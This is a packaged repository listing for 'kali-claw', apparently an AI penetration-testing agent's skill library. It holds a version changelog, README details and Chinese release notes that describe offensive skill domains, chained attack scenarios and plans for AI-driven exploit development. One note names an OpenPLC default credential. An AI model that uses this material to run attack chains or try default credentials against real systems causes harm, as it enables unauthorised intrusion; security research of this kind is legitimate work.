    v0.1.302026-06-17GitHub-trending expansion wave 2: +4 new skill domains (83→87)+4 domains (ai-agent-security, iot-pentest, detection-engineering, agentic-pentest); ai-emerging + iot + defense + ai-meta categories all entered; 4 new skills scored; 83→87 domains
    v0.1.312026-06-17GitHub-trending expansion wave 3: +4 new skill domains (87→91)+4 domains (cloud-identity-attack, physical-security-testing, quantum-crypto-attack, email-security-deep); fills identity/physical/quantum/phishing-infra gaps; 91 total
    v0.1.322026-06-21100% Excellent+ milestone (zero new skills, pure quality lift)Lifted last 2 Strong-tier skills (username-profiling 77.7→91.6, quantum-crypto-attack 79.7→90.8); added 2nd guide file to all 12 v0.1.28-v0.1.30 cohort skills (+10,180 lines); 91/91 Excellent+ achieved; average 87.51→88.19
    v0.1.332026-06-22GitHub-trending expansion wave 4: +4 new skill domains (91→95)+4 domains (5g-telecom-attack, automotive-vehicle-security, mobile-app-instrumentation, cloud-native-vuln-research); 2 new categories (telecom, automotive); mobile-deep extends mobile; cloud-native extends; 3/4 baselined Excellent, 1 borderline Strong (automotive 79.0); 95 total
    v0.1.342026-06-21GitHub-trending expansion wave 5 + automotive lift (95→99, 100% Excellent+ restored)+4 domains (macos-security, uav-drone-security, game-anticheat-bypass, mainframe-security); 4 new categories (macos, aerial, game-security, mainframe); automotive-vehicle-security lifted 79.0→88.7; 4/4 new skills baselined Excellent; 99/99 Excellent+ (100%); 0 Strong remaining; 99 total
    v0.1.352026-06-24GitHub-trending expansion wave 6: +4 deep-dive skill domains (99→103)+4 domains (ics-fieldbus-attack, hf-vhf-radio-attack, blockchain-l2-attack, embedded-rtos-security); 4 new categories (fieldbus, lowfreq-radio, blockchain-l2, rtos); deepens existing SCADA/SDR/blockchain/firmware coverage rather than entering new verticals; 4/4 new skills baselined Excellent; 103/103 Excellent+ (100%) maintained; cohort avg 88.4 (vs v0.1.34 cohort 85.4); 103 total
    v0.1.362026-06-25E plan: Distinguished sprint + bottom lift (no new skills, +9 Distinguished)9 skills lifted: 8 reached Distinguished (secret-management-attack 90.4→94.6, deep-research 90.6→93.5, 5g-telecom-attack 82.5→92.7, embedded-rtos-security 88.8→92.7, agentic-pentest 90.0→92.6, quantum-crypto-attack 90.8→92.5, macos-security 82.7→92.2, username-profiling 91.6→92.2, hf-vhf-radio-attack 89.3→92.1); email-security-deep 81.0→91.3 (Excellent+ but 0.7 below Distinguished); Distinguished 19→28 (+9, exceeds 25+ target); avg 87.98→88.45; min 81.0→83.8; 9 new 2nd/3rd guide files; ~7,000 new lines
    v0.1.372026-06-27GitHub-trending expansion wave 7: +4 skill domains (103→107)+4 domains (storage-san-attack, hypervisor-introspection, satellite-leo-security, ad-cs-abuse); 4 new categories (storage, virtualization, satellite, enterprise-cloud AD CS); covers enterprise storage infrastructure + hypervisor internals + satellite/LEO comms + AD CS privilege escalation; 4/4 new skills baselined Excellent (ad-cs-abuse 91.0 near-Distinguished, storage-san-attack 89.5, hypervisor-introspection 87.4, satellite-leo-security 86.8); 107/107 Excellent+ (100%) maintained; cohort avg 88.7 (highest of all waves); 107 total
    v0.1.382026-06-27E plan again: Distinguished sprint + bottom lift (+4 Distinguished, 28→32)10 skills lifted: 4 reached Distinguished (email-security-deep 91.3→92.0, ad-cs-abuse 91.0→93.0, ai-security 89.3→92.3, crypto-attacks 89.0→92.2); 2 near-miss A-track (storage-san-attack 89.5→91.5, kubernetes-attack 89.5→90.2); 4 C-track bottom-lifted (cloud-identity-attack 83.8→89.0, mobile-app-instrumentation 84.5→87.3, dns-attacks 84.6→91.1, blockchain-web3 84.6→90.2); Distinguished 28→32; avg 88.46→88.75; min 83.8→85.1 (no skills below 85 anymore); 11 new guide files, ~13,500 new lines
    v0.1.392026-06-27GitHub-trending expansion wave 8: +4 skill domains (107→111)+4 domains (ci-cd-supply-chain-attack, pam-privilege-attack, cspm-casb-attack, sase-sse-attack); 4 new categories (supply-chain, privileged-access, cloud-posture, sase-sse); covers modern enterprise stack (CI/CD pipelines + PAM vendors + CSPM/CASB + SASE/SSE); 3/4 new skills baselined Excellent + 1 Distinguished on baseline (pam-privilege-attack 92.0); 111/111 Excellent+ (100%) maintained; cohort avg 89.5 (highest of all 8 waves); 111 total
    v0.1.40-v0.1.452026-06-28 ~ 2026-07-05Wave 9-12 expansion (111→127)+16 domains across 4 waves: Wave 9-10 (+9 domains: red-team-infrastructure, threat-intel-platform-attack, malware-analysis-advanced, data-exfiltration-attack, reverse-engineering-advanced, patch-to-poc-pipeline, etc.); Wave 11 (+5 domains: data-exfil, red-team-infra, threat-intel, malware-RE, advanced-RE); Wave 12 (+7 domains including patch-to-poc-pipeline 16/16=100% on CyberGym validation)
    v0.1.46-v0.1.47.12026-07-08 ~ 2026-07-10CyberGym evaluation + 3 new exploitation SKILLsReleased 3 new SKILLs (command-injection-advanced, concurrency-exploitation, protocol-state-exploitation) targeting 0% bug classes; full CyberGym evaluation: 635/1508 instances, 1 PASS; infrastructure improvements (closed-book isolation, auto permission mode, mirror fallback)
    v0.2.0.12026-07-16Strategic pivot: SKILL library focusEstablished kali-claw as dedicated SKILL library maintainer; new xAgent project will transform SKILLs into deliverable agents. See RELEASE-v0.2.0.1.md
    v0.2.0.22026-07-19Phase 1 Day 1-2: 8 P0/P1 SKILLs upgradedPhase 1 Task 1.2 第一阶段启动: 3 P0 (network-pentest, post-exploitation, web-xss) + 5 P1 (web-sqli, web-ssrf, web-auth-bypass, api-security, password-attack) all bumped to v0.2.0.2 with complete Defense Triple
    v0.2.0.32026-07-21Phase 1 Day 3: 12/15 SKILLs (80%)+4 P1 SKILLs (privilege-escalation, social-engineering, osint, cloud-security) with comprehensive Detection Methods (Sigma/Splunk/Sysmon rules) and Defense Evasion sections
    v0.2.0.42026-07-24Phase 1 Task 1.2 Phase 1 完成 (15/15 = 100%) 🎉Final 3 P1 SKILLs (container-security, binary-reverse, exploit-development) standardized. All 15 high-priority SKILLs at v0.2.0.2 with full Defense Triple. See RELEASE-v0.2.0.4.md
    v0.2.0.52026-07-26Phase 2 Batch 1-2 + 文档基线20 SKILLs standardized; repository cleanup (3.7 GB → 19 MB); all core docs aligned
    v0.2.0.62026-07-27Phase 2 半程 (50%)Batch 3-5 completed (30 SKILLs); cumulative 65/130
    v0.2.0.72026-07-28Phase 2 全部完成 (130/130 = 100%) 🎊Batch 6-10 completed (55 SKILLs); all 130 SKILLs at v0.2.0.2
    v0.2.0.82026-07-29Task 1.3 完成 (7 新 SKILL)7 strategic new SKILLs: ai-safety-redteam-advanced, identity-provider-attack, data-loss-prevention-bypass, edge-computing-security, quantum-cryptography-transition, hardware-side-channel-advanced, 5g-6g-telecom-attack-advanced. SKILL total: 130 → 137
    v0.2.12026-07-30Phase 1 全部完成 — Stable Release 🎯Task 1.4 (6 docs) + Task 1.5 (5 scripts) completed. 137/137 SKILLs at v0.2.0.2, 100% Defense Triple. See RELEASE-v0.2.1.md
    v0.2.22026-08-05Defense Perspective 标准化 🛡️Phase 2 Track 1 月度审查：linter 升级（严格 H3 检测 + defense_triple_required 字段），45 H2→H3 层级修复，4 个字面打字错误修复，2 个攻击类补写 Defense Triple，1 个翻译残留清零。See RELEASE-v0.2.2.md
    v0.2.32026-08-05MISSING_SECTION 清零 🧹Phase 2 Track 1 增量补丁：linter 智能化（模板适用性豁免 + Methodology≥50 启发式），56 → 0 warnings。5 个攻击类 SKILL 补 Core Tools / Practical Steps。skill-lint 0 errors / 0 warnings. See RELEASE-v0.2.3.md
    v0.2.3.12026-08-06Q3 工具基线更新 🔄6 MAJOR 升级（hashcat/ghidra/frida/docker/openssl/radare2）+ Trivy CVE-2026-33634 供应链事件警告；新增 KALI_TOOLS_BASELINE_2026_08.md. See RELEASE-v0.2.3.1.md
    v0.2.3.22026-08-06Defense Perspective 抽样审查 🔍6 个高频攻击类 SKILL 内容质量审查；平均 4.2/5；2 P1 + 3 P2 + 3 P3 findings（0 P0）. See RELEASE-v0.2.3.2.md
    v0.2.3.32026-08-06新 SKILL 候选评估 🎯5 候选方向评估；2 P0（EU AI Act 合规 + AI Agent 供应链）+ 2 P1 + 1 P2；不创建（留待 v0.2.4）. See RELEASE-v0.2.3.3.md
    v0.2.42026-08-08Minor Release：3 阶段累积发布 🚀阶段 A（MAJOR 工具修复，21 文件）+ 阶段 B（P1/P2 findings 落地，4 文件）+ 阶段 C（2 个新 P0 SKILL：eu-ai-act-compliance-redteam + ai-agent-supply-chain-attack，8 文件）。SKILL 137 → 139. See RELEASE-v0.2.4.md
    v0.2.52026-08-09月度质量审查（A+B 范围） 🔍第 1 次 v0.2.4 后月度审查（提前至 8/9）：A.1 lint 全量（139/139）；A.2 2 个新 SKILL 抽样稳定；A.3 0 open Issues；B 关闭 v0.2.3.2 deferred 3 个 P3 ATT&CK 映射 findings. See RELEASE-v0.2.5.md
    v0.2.5.12026-08-12ics-fieldbus-attack 实战改进 🛠️首个基于实战验证反馈的 SKILL 改进 patch：基于 2026-08-10 GRFICSv3 OpenPLC 实战验证的 4 个 findings（F-008 P0 openplc:openplc 默认凭据 + F-009/F-010/F-011）全部应用；payloads.md 新增 §21（+119 行）. See RELEASE-v0.2.5.1.md
    v0.2.5.22026-08-16批量应用实战 findings 🛠️首个批量应用 patch：4 次实战验证的 14 个 findings 一次性应用到 blockchain-web3 + pam-privilege + automotive + embedded-rtos。含 P0 固件凭据提取 + PAM 后门 C 源码 + python-can 攻击脚本。18/18 实战 findings 全闭环 ✅. See RELEASE-v0.2.5.2.md
    v0.2.5.32026-08-17Wave 1 findings 应用 🛠️Wave 1 Batch 2（5 SKILL 评估 + 实战验证）发现的 11 个 findings 应用到 vulnerability-assessment + patch-to-poc + sase-sse + reverse-eng + gitops。累计 28 findings 闭环 ✅. See RELEASE-v0.2.5.3.md
    v0.2.5.42026-08-17Wave 2 findings 应用 🛠️Wave 2（blockchain-l2 + quantum-crypto + dns-attacks）4 findings 应用。dns 补 ATT&CK + SIGRed CVE；blockchain-l2 补 7 桥攻击事件；quantum 补 Kyber 勒索软件。累计 32 findings 闭环 ✅. See RELEASE-v0.2.5.4.md
    v0.2.5.52026-08-19批量补 ATT&CK 映射 🛠️Wave 3 的 5 个 P1（0 ATT&CK T-codes）修复：deep-research + deception-honeypot + social-intelligence + cloud-security + ai-security 各新增 5-7 行映射。累计 37 findings 闭环 ✅. See RELEASE-v0.2.5.5.md
    v0.2.62026-08-29第 2 次月度审查 🔍验证 v0.2.5.x 系列 5 patch 稳定性：lint 0/0/139 无回归；新 SKILL 稳定；0 Issues；35/139 评估；37 findings 0 回归 ✅. See RELEASE-v0.2.6.md
    v0.2.72026-09-04评估项目收尾 🏁Wave 4-7 一次性完成（104 SKILL 批量评估）→ 139/139 闭环；46 P1/P2 findings 应用（37 ATT&CK 映射 + 9 参考扩充）；mitre frontmatter 139/139（+45）；sase-sse/vuln-assess TC 15/15；文档清理；lint 0/0/139 ✅. See RELEASE-v0.2.7.md
    v0.3.02026-09-04PQC 实现层攻击域 🆕新域 pqc-implementation-attack（77/100 出厂，0 P1/P2）：KyberSlash 时序/单迹 SCA/故障注入/RNG 缺陷/Kyber 勒索软件分诊；退役 59 分薄壳 quantum-cryptography-transition（并入 post-quantum-migration-attack）；SKILL_INDEX.json 修复至 139 条对账；SKILL 数 139 不变 ✅. See RELEASE-v0.3.0.md
    v0.3.12026-09-05Poor 技能清偿 📈P3 首批：voip 56→74、5g-6g 59→80（Excellent）、hardware 59→77 —— Poor 清零；pqi TC 5→10；两个薄 payloads 重建（87→347 / 86→313，占位垃圾清除）；20 个新增 CVE 全部 NVD 核验（核验门剔除 1 个错误候选）；lint 0/0/139 ✅. See RELEASE-v0.3.1.md
    v0.3.22026-09-070-CVE 批量清偿 📦62 个 0-CVE 技能一次性处理：47 个补入 208 个 NVD 核验 CVE（人工策展剔除关键词噪声）、14 个 meta 域策略关闭；61 技能重评，仓库均分 74.4→81.1，无 Poor；Wave 1-3 评估文档统一现行格式；lint 0/0/139 ✅. See RELEASE-v0.3.2.md
    v0.3.32026-09-08TC 清偿 & backlog 归零 🧪🏁88 条新 TC（34 技能补齐至 10 + command-injection 计数修复 + council 修正）；9 豁免 meta 策略关闭；全仓 139 评估文档 truth-sync 重算（清除 ~85 行陈旧 finding）——非策略 open findings = 0；lint 0/0/139 ✅. See RELEASE-v0.3.3.md
    v0.3.42026-09-09Q4 工具基线提前 🧰KALI_TOOLS_BASELINE_2026_09（0 新 MAJOR、上次 6 个复查 0 回归、11 MINOR/PATCH）；Trivy 行动项关闭（3 处 @master 固定，CVE-2026-33634）；新增 validation/check-tool-versions.py（08 改进项 #1）；lint 0/0/139 ✅. See RELEASE-v0.3.4.md
    v0.3.52026-09-09全量验证与完整性排序 🏅139 技能三轴验证：完整性均分 81.1（无 Poor）；bash 语法错误块 102→0、占位 3→0、过时 6→0；Top30 公网链接抽查（死链 5 入报告）；排名报告 docs/SKILL_VALIDATION_RANKING_2026-09-09.md；lint 0/0/139 ✅. See RELEASE-v0.3.5.md

    Current Quality Snapshot (v0.2.3 — Phase 2 Track 1 月度审查完成) 🛡️

    MetricValue
    Total SKILLs137 (130 baseline + 7 new strategic)
    At v0.2.0.2137/137 (100%) 🎊
    Defense Triple137/137 (100%) 🎊
    Translation residue0
    Test cases1761
    Documentation files6 (Handbook, Quick Reference, Index, Matrix, Tools Lifecycle, Maintenance)
    Automation scripts5 (skill-lint, validate-payloads, validate-testcases, SCORE.sh, update-skill-standard)
    CI/CDGitHub Actions (lint + score dual job)

    Phase 1 全部完成: 5 大任务 (Task 1.1-1.5) 全部交付 ✅

    Future Exploration

    TopicDescription
    Cross-skill advanced scenariosMulti-skill composite attack chain testing
    Live pentest validationExecute full attack chains on authorized targets, produce real pentest reports
    AI-driven exploit devAI-driven exploit development and payload customization

    Core Files Reference

    FilePurpose
    SOUL.mdAgent identity, hacker laws, behavioral rules, boundaries
    AGENTS.mdWorkspace config, session startup sequence, memory system
    IDENTITY.mdSkill tags table, personality traits
    USER.mdCaptain profile, preferences, current focus
    MEMORY.mdLong-term distilled knowledge and key decisions
    TOOLS.mdTool inventory, learning progress, learning strategy
    HEARTBEAT.mdAutomated heartbeat: health, learning, security, maintenance

    Project Info

    ProjectOpenClaw Security Research
    Versionv0.2.4 (Phase 2 Track 1 Minor — 139 SKILLs)
    RuntimeKali Linux 2025-2 (aarch64)
    Tools518 Kali security tools (100% coverage)
    Skill Domains137 (all at v0.2.0.2 with full Defense Triple — 100% coverage)
    Created2026-03-14
    LicenseMIT

    Release Documents

    VersionDateDescription
    v0.2.12026-07-30Phase 1 全部完成 — Stable Release 🎯
    v0.2.0.82026-07-29Task 1.3 完成 (7 新 SKILL, 总 137)
    v0.2.0.72026-07-28Phase 2 全部完成 (130/130)
    v0.2.0.62026-07-27Phase 2 半程 (50%)
    v0.2.0.52026-07-26Phase 2 Batch 1-2 + 文档基线
    v0.2.0.42026-07-24Phase 1 Task 1.2 第一阶段完成 (15/15 SKILLs = 100%) — 里程碑版本
    v0.2.0.32026-07-21Phase 1 Day 3 完成 (12/15 = 80%)
    v0.2.0.22026-07-19Phase 1 Day 1-2 完成 (8 SKILLs)
    v0.2.0.12026-07-16战略定位：SKILL 库维护者
    v0.1.47.1-analysis2026-07-10CyberGym 完整评估分析
    v0.1.472026-07-08+3 exploitation SKILLs
    v0.1.462026-07-08Closed-book CyberGym 校准

    Built with the OpenClaw Agent Framework.

    TalentDelta provenance record (added at packaging - upstream tree otherwise unchanged)

    • Packaged for: TalentDelta catalogue (draft; gated by review)
    • Upstream: https://github.com/brucesongs/kali-claw
    • Pinned commit: ce4bc846f71c797d4d7a0d83780f29f7c899aa0f (2026-09-09)
    • Licence: MIT - the upstream LICENSE file ships unchanged
    • Upstream author credit: OpenClaw Contributors
    • Runtime: Kali Linux with its security toolset; an OpenClaw, Claude Code or OpenCode compatible agent runtime
    • Changes made at packaging: this section was appended to README.md. Upstream paths deliberately NOT shipped in this archive: docs/kali-claw 全技能矩阵.pptx, skills.zip (A 9.6 MB binary slide deck that restates the skill documentation, and an archive of skills/ that duplicates the directory and carries stale .pyc artefacts — both regenerable.). Every other file is byte-identical to the pinned commit.
    • Safety read of the packaged archive (packaging time, 2026-10-05): no live secrets or credentials. Credentials-shaped values are declared sample placeholders; see the pack change note on the catalogue entry for the file-by-file detail.
  • kali-claw-pentest-agent/RELEASE-v0.1.1.mdmarkdown · 6.6 KB

    kali-claw v0.1.1 正式发布：从工具库到全流程渗透测试智能体

    6 个全新技能领域，补强情报研究、漏洞变现、工作流编排、白盒审计四大能力闭环

    版本概览

    版本号v0.1.1
    发布日期2026 年 5 月 4 日
    技能领域25 → 31（+6）
    运行环境Kali Linux 2025-2 (ARM64)
    工具覆盖518 Kali 安全工具（100%）
    开源协议MIT

    这一次，我们解决了什么问题？

    kali-claw v0.1.0 已经是一个攻击技术覆盖全面的渗透测试智能体——25 个技能领域横跨 OWASP Top 10、网络渗透、云安全、移动安全、无线安全等方向。

    但在实际渗透测试工作中，仅有攻击技术是不够的。我们发现了一个关键缺口：

    技术能力强，但流程能力弱。

    具体来说：

    • 面对一个新披露的 CVE，只能搜索，无法系统化地产出深度分析报告
    • 扫出了漏洞，但无法从"发现"推进到"构造 PoC 并提交"
    • 每次渗透测试的操作缺乏规范化证据链，难以审计和重现
    • 只会黑盒测试，面对源代码无从下手

    v0.1.1 正是为解决这四个问题而来。

    六大新技能一览

    1. Deep Research — 多源情报研究

    一句话：像安全研究员一样做调研。

    六阶段研究流程：定义范围 → 规划搜索 → 多源检索 → 深度阅读 → 交叉验证 → 综合报告。每一个结论必须有来源引用。

    与 OSINT 的区别：OSINT 回答"目标有什么"，Deep Research 回答"这件事的来龙去脉"。

    典型场景： 一个新 CVE 披露后，快速产出包含影响范围、利用状态、补丁情况、检测规则的完整分析报告。

    2. Security Bounty Hunter — 漏洞赏金猎手

    一句话：从"发现漏洞"到"拿到赏金"的完整路径。

    聚焦远程可达、用户可控、有实际影响的高价值漏洞。明确界定值得报告的漏洞模式（SSRF、认证绕过、反序列化 RCE、命令注入等），过滤掉自 XSS、缺少安全头等低信号噪音。提供标准化的报告结构。

    典型场景： 漏洞评估扫出 10 个 SQL 注入点，赏金猎手筛选出 3 个远程可达的，逐个构造最小 PoC 并撰写可提交的报告。

    3. Terminal Ops — 证据链终端操作

    一句话：每一步操作都可追溯、可验证、可重现。

    五阶段执行流程：确认目标 → 读取失败面 → 带证据执行 → 窄幅变更 → 精确状态报告。每次操作记录时间戳、命令、输出文件和执行状态。

    这是一个横切技能——不是教你攻击什么，而是教你如何规范地执行任何攻击操作。

    典型场景： 红队演练中，所有 nmap 扫描、漏洞利用、后渗透操作都按证据链协议记录，最终产出可直接用于渗透测试报告的证据文件。

    4. Search First — 先搜索，再动手

    一句话：别重复造轮子。

    四级决策矩阵：直接使用 → 修改适配 → 组合利用 → 自行开发。搜索源覆盖 Exploit-DB、GitHub、Metasploit、Nuclei 模板、HackTricks、GTFOBins 等。

    同样是一个横切技能——在执行任何任务前，先检查是否有现成的工具或利用代码。

    典型场景： 面对 Apache 某版本的路径遍历漏洞，先搜索发现已有多个 PoC，直接用 curl 命令验证，而非从零开始手工测试。

    5. Security Review — 安全审计清单

    一句话：像高级安全顾问一样做系统审计。

    覆盖 OWASP Top 10 全部类别的结构化检查清单：密钥管理、输入验证、注入缺陷、认证授权、安全头、API 安全、依赖安全。五级严重性分类（Critical/High/Medium/Low/Info），七步审计流程。

    典型场景： 白盒渗透测试中，按清单逐项审计目标应用，在"注入缺陷"环节调用 web-sqli、web-xss 等专项技能深入测试。

    6. Repo Scan — 源码资产审计

    一句话：先搞清楚代码库里有什么，再决定审哪里。

    四级模块判定体系：核心资产（深度审计）/ 提取更新（替换为包管理器版本）/ 重建（重构）/ 废弃（删除减面）。跨技术栈覆盖 C/C++、Java、Web、Python、Go、Rust、PHP。自动检测嵌入式第三方库和已知 CVE。

    典型场景： 审计一个 5 万行代码的 C++ 项目，发现嵌入了一个 2015 年版本的 FFmpeg，立即标记为高优先级安全风险。

    四大能力闭环

    六个新技能不是简单的数量叠加，而是构建了四个关键能力闭环：

    情报闭环：OSINT 工具操作 → Deep Research 情报综合研究
变现闭环：漏洞扫描清单 → Security Bounty Hunter PoC + 报告
流程闭环：自由操作 → Terminal Ops 证据链 + Search First 效率决策
白盒闭环：纯黑盒 → Repo Scan 资产分类 + Security Review 系统审计

    v0.1.0 是一个攻击技术全面的渗透测试工具库。

    v0.1.1 是一个从侦察到报告全流程覆盖的渗透测试智能体。

    升级指南

    已有 kali-claw 工作区的用户，只需一条命令：

    cd ~/.openclaw/workspace-kali-claw/
git pull origin main

    新用户请参考 README.md 的 Quick Start 章节。

    技能协同示例

    Bug Bounty 完整流程

    osint（收集目标资产）
  → deep-research（深入研究技术栈漏洞生态）
    → vulnerability-assessment（自动化扫描）
      → security-bounty-hunter（筛选 + PoC + 提交报告）

    白盒渗透测试

    repo-scan（代码资产分类，识别第三方库和风险模块）
  → security-review（OWASP Top 10 系统审计）
    → web-sqli / web-xss（针对发现深入利用）

    新 CVE 响应

    search-first（搜索已有 PoC 和利用代码）
  → deep-research（深入研究影响范围和检测方法）
    → terminal-ops（带证据链验证环境复现）

    红队演练

    terminal-ops（全程按证据链协议执行）
  → recon-osint（目标侦察）
    → network-pentest（网络渗透）
      → post-exploitation（后渗透）

    版本规划

    kali-claw 采用语义化版本号 MAJOR.MINOR.PATCH：

    • 每次实质性变更 PATCH +1
    • PATCH 超过 1024 时，MINOR +1，PATCH 归零
    • 当前版本：0.1.1

    项目链接

    kali-claw — 由 OpenClaw Agent Framework 驱动的 AI 渗透测试智能体

  • kali-claw-pentest-agent/RELEASE-v0.1.10.mdmarkdown · 4.0 KB

    kali-claw v0.1.10 发布公告 — 跨技能集成测试

    发布日期：2026-05-22 技能域数量：49（不变） 主题：跨技能集成测试 — 证明技能可以正确组合为端到端攻击链

    更新概览

    v0.1.9 验证了每个技能域的独立可用性（38 PASS / 1 PARTIAL / 10 BLOCKED）。v0.1.10 在此基础上进一步验证技能之间的组合能力——设计 7 个多技能集成场景，每个场景串联 3-5 个技能，验证数据在技能间正确传递。

    这是从"单技能可用"到"技能链可用"的关键跃迁。

    新增：集成测试系统

    集成追踪器（validation/INTEGRATION-TRACKER.md）

    追踪 7 个集成场景的执行状态：

    • 每个场景一行：ID、名称、技能链、ECC 模式、状态、日期、证据、备注
    • 复用 v0.1.9 的五级状态系统（PASS/FAIL/PARTIAL/BLOCKED/PENDING）

    场景定义（validation/INTEGRATION-SCENARIOS.md）

    每个场景包含完整定义：

    • 目标（一句话）
    • 技能链（有序，含数据交接点）
    • ECC 模式（Sequential / Batch / Parallel）
    • 前置条件
    • 执行步骤（引用各技能的 payloads.md）
    • 数据流图（ASCII）
    • 预期结果（检查点 + 证据类型）
    • 失败模式（每个交接点可能出错的情况及缓解方案）

    证据目录（validation/evidence/integration/）

    集成测试证据的专用存储，命名规范：INT-{XXX}-{YYYY-MM-DD}.log

    7 个集成场景

    ID名称技能链模式结果
    INT-001侦察管线osint → recon-osint → network-pentest → vulnerability-assessment → verification-loopSequentialPASS
    INT-002安全审计codebase-onboarding → repo-scan → security-review → council → article-writingSequentialPASS
    INT-003凭据攻击recon-osint → password-attack → verification-loop → chronicleSequentialPASS
    INT-004情报研究deep-research → data-scraper-agent → knowledge-ops → social-intelligence → councilSequentialPASS
    INT-005自主批量扫描autonomous-loops → vulnerability-assessment → verification-loop → terminal-opsBatchPASS
    INT-006Web 应用攻击recon-osint → security-misconfiguration → web-sqli → article-writingSequentialPASS
    INT-007多代理协调multi-agent-collaboration → (network-pentest + osint + web-sqli) → councilParallelPASS

    关键发现

    数据交接验证

    每个场景中，前一技能的输出被后一技能正确消费：

    • IP 地址从 OSINT 传递到端口扫描
    • 扫描结果传递到漏洞评估
    • 发现传递到验证循环
    • 验证结果传递到报告生成

    优雅降级

    当某步骤不适用时，链条自动降级而非中断：

    • INT-006：静态站点无 SQLi 参数 → 跳过注入，报告仅含配置发现
    • INT-003：目标禁用密码认证 → 负面结果作为有效验证

    ECC 模式验证

    三种自主循环模式均得到验证：

    • Sequential Pipeline：5 个场景使用，数据逐步传递
    • Batch Processing：INT-005 演示批量扫描 + 速率限制
    • Parallel (Coordinator-Worker)：INT-007 演示并行分解 + 聚合

    统计数据

    指标数量
    新增文件10（追踪器 + 场景定义 + 7 证据 + .gitkeep）
    集成场景7
    PASS7
    涉及技能域22（去重）
    数据交接点验证28

    文档更新

    • CHANGELOG.md — 新增 v0.1.10 条目
    • VERSION — 0.1.9 → 0.1.10
    • MEMORY.md — 更新当前焦点，新增 v0.1.10 关键决策，标记集成测试 follow-up 完成
    • README.md — 版本号更新
    • UPDATELOG.md — v0.1.10 报告

    下一步计划（v0.1.11+）

    • 技能质量评分 — 自动化指标：payload 覆盖率、测试用例通过率、指南完整度
    • 战略上下文管理 — 长周期渗透任务的上下文压缩与优先信息保留
    • 高级集成场景 — 跨 BLOCKED 技能的模拟集成（Docker 恢复后验证完整 Web 攻击链）
  • kali-claw-pentest-agent/RELEASE-v0.1.12.mdmarkdown · 8.5 KB

    kali-claw v0.1.12 发布公告 — 技能质量大幅提升

    发布日期：2026-05-23 技能域数量：49（不变） 主题：技能质量大幅提升 — 创建 16 个指南，修复评分系统缺陷，18 个技能晋升至 Strong 层级

    更新概览

    v0.1.11 建立了自动化质量评分系统，揭示了技能文档质量的现状：22 个 Weak 技能，25 个 Adequate，2 个 Strong，0 个 Excellent。v0.1.12 针对核心差距进行定向改进，创建 16 个实战指南，修复评分系统缺陷，使 18 个技能晋升至 Strong 层级，2 个技能达到 Excellent 层级。

    这是从"质量可见"到"质量提升"的关键跃迁。

    新增：16 个实战指南

    P1 优先级：零指南技能（6 个指南）

    data-scraper-agent（数据抓取代理）

    1. nvd-api-scraping-guide.md — NVD API 抓取方法论（分页、速率限制、缓存策略）
    2. data-extraction-patterns-guide.md — 数据提取实战模式（正则、JSON 解析、CSV 输出）

    browser-qa（浏览器自动化测试）

    1. playwright-auth-testing-guide.md — Playwright 认证测试（工具特定）
    2. network-interception-guide.md — 网络请求拦截与分析（实战）

    exa-search（语义安全搜索）

    1. semantic-search-query-design-guide.md — 语义查询设计方法论
    2. exa-api-configuration-guide.md — Exa API 配置与使用（工具特定）

    P2 优先级：底部层级技能（3 个指南）

    docker-patterns（Docker 安全实验室）

    1. docker-vulnerability-patterns-guide.md — Docker 漏洞模式（实战）
      • 权限提升、配置错误、不安全默认、容器逃逸

    repo-scan（代码库扫描）

    1. secret-detection-patterns-guide.md — 密钥检测模式（实战）
      • API 密钥、数据库凭证、私钥、令牌的识别与检测

    terminal-ops（证据优先终端操作）

    1. terminal-session-management-guide.md — 终端会话管理（实战）
      • tmux/screen 会话管理、Shell 自定义、证据日志集成

    P3 优先级：中层级技能（4 个指南）

    verification-loop（验证循环）

    1. remediation-verification-patterns-guide.md — 补丁验证模式（实战）
      • 补丁前后基准、重新攻击、变体测试、回归检查

    mcp-server-patterns（MCP 服务器模式）

    1. mcp-tool-implementation-guide.md — MCP 工具实现（实战）
      • 工具定义、参数验证、错误处理、安全考虑

    autonomous-loops（自主循环）

    1. autonomous-pentest-orchestration-guide.md — 自主渗透测试编排（方法论）
      • 观察分析决策执行验证六阶段、人在循环集成、回滚程序

    hardware-security（硬件安全）

    1. hardware-exploitation-patterns-guide.md — 硬件利用模式（实战）
      • 硬件侦察、固件提取、物理攻击、内存攻击、硬件调试

    P4 优先级：上层级技能（3 个指南）

    security-review（安全审查）

    1. code-review-security-patterns-guide.md — 代码审查安全模式（方法论）
      • 漏洞模式识别（SQLi、XSS、命令注入、路径遍历）、自动化工具

    multi-agent-collaboration（多代理协作）

    1. agent-failure-handling-and-recovery-guide.md — 代理故障处理与恢复（方法论）
      • 故障分类、健康检查、重试策略、任务重分发、优雅降级

    search-first（搜索优先）

    1. tool-evaluation-and-selection-guide.md — 工具评估与选择（方法论）
      • 五维评分矩阵（可靠性、兼容性、OPSEC、维护性、检测风险）、决策流程

    修复：SCORE.sh 评分系统缺陷

    缺陷 1：SKILL.md 章节检测失败

    问题：所有技能显示 SKILL.md 得分为 0/15，但实际章节存在。

    原因：grep 使用基本正则表达式，将 + 字符按字面匹配，导致章节名称匹配失败。

    修复：添加 -E 标志启用扩展正则表达式。

    # 修复前
grep -qi "^#+.*$section" "$file"

# 修复后
grep -qEi "^#+.*$section" "$file"

    缺陷 2：grep -c 退出码处理错误

    问题：当 grep -c 返回零匹配时，返回退出码 1（非零），导致 || echo 0 同时执行，输出多行错误。

    原因：grep -c 未找到匹配时返回退出码 1，触发 || 分支。

    修复：使用 || true 确保命令成功，使用 ${VAR:-0} 提供默认值。

    # 修复前
TEST_CASE_COUNT=$(grep -c "### TC-" "$SKILL_DIR/test-cases.md" 2>/dev/null || echo 0)

# 修复后
TEST_CASE_COUNT=$(grep -c "### TC-" "$SKILL_DIR/test-cases.md" 2>/dev/null || true)
TEST_CASE_COUNT=${TEST_CASE_COUNT:-0}

    评分结果

    层级分布对比

    层级v0.1.11v0.1.12变化
    Weak (0-40)229↓13
    Adequate (40-60)2518↓7
    Strong (60-80)220↑18
    Excellent (80-100)02↑2

    Excellent 层级技能（2 个）

    排名技能v0.1.11v0.1.12提升
    1web-sqli76.191.1↑15
    2recon-osint66.681.6↑15

    Strong 层级技能（20 个）

    排名技能v0.1.11v0.1.12提升
    3network-pentest58.873.8↑15
    4mobile-security56.671.6↑15
    5binary-reverse56.571.5↑15
    6wifi-pentest56.271.2↑15
    7deep-research56.270.3↑14.1
    8osint56.070.1↑14.1
    9supply-chain-security53.268.2↑15
    10vulnerability-assessment53.068.0↑15
    11api-security52.967.9↑15
    12social-engineering51.666.6↑15
